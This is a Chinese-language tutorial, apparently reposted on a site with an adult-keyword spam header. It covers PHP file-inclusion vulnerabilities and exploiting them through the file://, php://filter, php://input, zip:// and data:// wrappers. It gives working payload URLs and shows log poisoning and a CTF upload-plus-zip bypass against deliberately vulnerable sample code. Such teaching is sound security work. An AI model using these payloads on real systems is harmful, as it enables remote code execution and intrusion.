亚洲最大看欧美片,亚洲图揄拍自拍另类图片,欧美精品v国产精品v呦,日本在线精品视频免费

  • 站長(zhǎng)資訊網(wǎng)
    最全最豐富的資訊網(wǎng)站

    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    本篇文章給大家?guī)?lái)了關(guān)于PHP的相關(guān)問(wèn)題,其中主要介紹了關(guān)于文件包含和PHP偽協(xié)議的相關(guān)內(nèi)容,文件包含漏洞是“代碼注入”的一種,下面一起來(lái)看一下,希望對(duì)大家有幫助。

    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    推薦學(xué)習(xí):《PHP視頻教程》

    文件包含

    文件包含漏洞是“代碼注入”的一種。其原理就是注入一段用戶能控制的腳本或代碼,并讓服務(wù)端執(zhí)行?!按a注入”的典型代表就是文件包含。

    要想成功利用文件包含漏洞進(jìn)行攻擊,需要滿足以下兩個(gè)條件:

    • Web應(yīng)用采用include()等文件包含函數(shù)通過(guò)動(dòng)態(tài)變量的方式引入需要包含的文件;

    • 用戶能夠控制該動(dòng)態(tài)變量。

    常見(jiàn)的導(dǎo)致文件包含的函數(shù):
    PHP:include()、include_once()、require()、require_once()等;
    1.php文件包含可以直接執(zhí)行包含文件的代碼,包含的文件格式不受任何限制
    在 php 中提供了四個(gè)文件包含函數(shù):
    (1) Require: 找不到被包含的文件時(shí)會(huì)產(chǎn)生致命錯(cuò)誤(E_COMPILE_ERROR),并停止腳本;
    (2) Include:找不到被包含的文件時(shí)只會(huì)產(chǎn)生一個(gè)(E_warinng),腳本將繼續(xù)執(zhí)行;
    (3) Require_once:與 include 類似會(huì)產(chǎn)生警告,區(qū)別是如果文件代碼已經(jīng)被包含,則不會(huì)再次被包含;

    PHP偽協(xié)議

    php偽協(xié)議,事實(shí)上是其支持的協(xié)議與封裝協(xié)議。而其支持的協(xié)議有:

    file:// — 訪問(wèn)本地文件系統(tǒng)  php:// — 訪問(wèn)各個(gè)輸入/輸出流(I/O streams)data:// — 數(shù)據(jù)(RFC 2397)zip:// — 壓縮流

    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    all_url_include在php 5.2以后添加,安全方便的設(shè)置(php的默認(rèn)設(shè)置)為:allow_url_fopen=on;all_url_include=off;
    allow_url_fopen = On (允許打開(kāi)URL文件,預(yù)設(shè)啟用)
    allow_url_fopen = Off (禁止打開(kāi)URL文件)
    allow_url_include = Off (禁止引用URL文件,新版增加功能,預(yù)設(shè)關(guān)閉)
    allow_url_include = On (允許引用URL文件,新版增加功能)

    file協(xié)議

    file:// 文件系統(tǒng)是 PHP 使用的默認(rèn)封裝協(xié)議,展現(xiàn)了本地文件系統(tǒng)。

    使用file://協(xié)議去包含本地的phpinfo.php

    http://localhost/www/lfi.php?file=file://F:phpstudyphpstudy_proWWWwwwphpinfo.php

    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    PHP協(xié)議

    php:// 訪問(wèn)各個(gè)輸入/輸出流(I/O streams),在CTF中經(jīng)常使用的是php://filter和php://input
    php://filter用于讀取源碼:
    php://input用于執(zhí)行php代碼。

    http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php

    php://filter讀取php文件時(shí)候需要base64編碼
    一起來(lái)分析文件包含及PHP偽協(xié)議利用
    php://input

    1. allow_url_include = On

    php://input + [POST DATA]執(zhí)行php代碼
    需要***allow_url_include = On***

    http://localhost/www/lfi.php?file=php://input  POST	<?system('ipconfig')?>

    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    1. allow_url_include = Off

    不過(guò)一般大部分情況下,allow_url_include 為默認(rèn)關(guān)閉狀態(tài),
    就不能包含POST數(shù)據(jù)了,這種情況下可以包含apache日志或者錯(cuò)誤日志記錄

    首先需要fuzz大法,爆破出日志的路徑,

    為了測(cè)試方便,我先將日志的內(nèi)容清空,方便演示

    訪問(wèn)該網(wǎng)址,通過(guò)報(bào)錯(cuò)將代碼寫(xiě)入日志中
    注意:這里要使用burp抓包去訪問(wèn),不然代碼會(huì)被url編碼寫(xiě)入日志,就不能執(zhí)行了
    也可以將代碼寫(xiě)入 user-agent中

    http://localhost/www/lfi.php?file=<?php phpinfo();?>

    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    一起來(lái)分析文件包含及PHP偽協(xié)議利用
    我的日志路徑為:
    F:phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400

    使用file://偽協(xié)議去讀取日志,發(fā)現(xiàn)phpinfo被成功執(zhí)行了

    http://localhost/www/lfi.php?file=file://F:phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400

    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    zip://協(xié)議

    ** zip:// & bzip2:// & zlib:// **均屬于壓縮流,可以訪問(wèn)壓縮文件中的子文件,更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx等等。

    這里分析一個(gè)文件上傳和文件包含結(jié)合的CTF案例

    首先分析文件上傳的源代碼

    <html><form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form><?phpif(!empty($_FILES["file"])){     echo $_FILES["file"];     $allowedExts = array("gif", "jpeg", "jpg", "png");     @$temp = explode(".", $_FILES["file"]["name"]);     $extension = end($temp);     if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")     || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")     || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))     && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))     {         //move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);         echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];     }     else     {         echo "upload failed!";     }}echo $_FILES["file"]["tmp_name"];?></html>

    分析源代碼發(fā)現(xiàn),文件上傳采用了白名單限制策略,只能上傳
    “gif", “jpeg”, “jpg”, "png"四種后綴名的文件。

    分析文件包含的源代碼

    <html>Tips: the parameter is file! :) <!-- upload.php --></html><?php     @$file = $_GET["file"];     echo $file;     if(isset($file))     {         if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)         {             echo "<p> error! </p>";         }         else         {             include($file.'.php');         }     }?>

    分析文件包含源代碼,發(fā)現(xiàn)限制了部分偽協(xié)議和%00截?cái)?,且在include中自動(dòng)添加了php后綴名,但是沒(méi)有限制zip偽協(xié)議。

    綜上分析可以發(fā)現(xiàn),在文件包含中利用zip偽協(xié)議,可以創(chuàng)建test.zip的壓縮包,里面放著test.php的文件。

    在文件上傳時(shí)候?qū)⒑缶Y名zip修改為png的后綴名,

    test.php中寫(xiě)入木馬

    <?phpphpinfo();?>

    如下圖所示
    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    圖片上傳成功之后,利用文件包含和zip://協(xié)議去讀取test.png中的test.php,發(fā)現(xiàn)phpinfo()被執(zhí)行了,說(shuō)明poc驗(yàn)證成功

    http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    data://

    條件:

    allow_url_fopen:on allow_url_include :on

    訪問(wèn)網(wǎng)址

    http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>

    也可以使用base64編碼,防止代碼被過(guò)濾掉

    file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
    一起來(lái)分析文件包含及PHP偽協(xié)議利用

    推薦學(xué)習(xí):《PHP視頻教程》

    贊(0)
    分享到: 更多 (0)
    網(wǎng)站地圖   滬ICP備18035694號(hào)-2    滬公網(wǎng)安備31011702889846號(hào)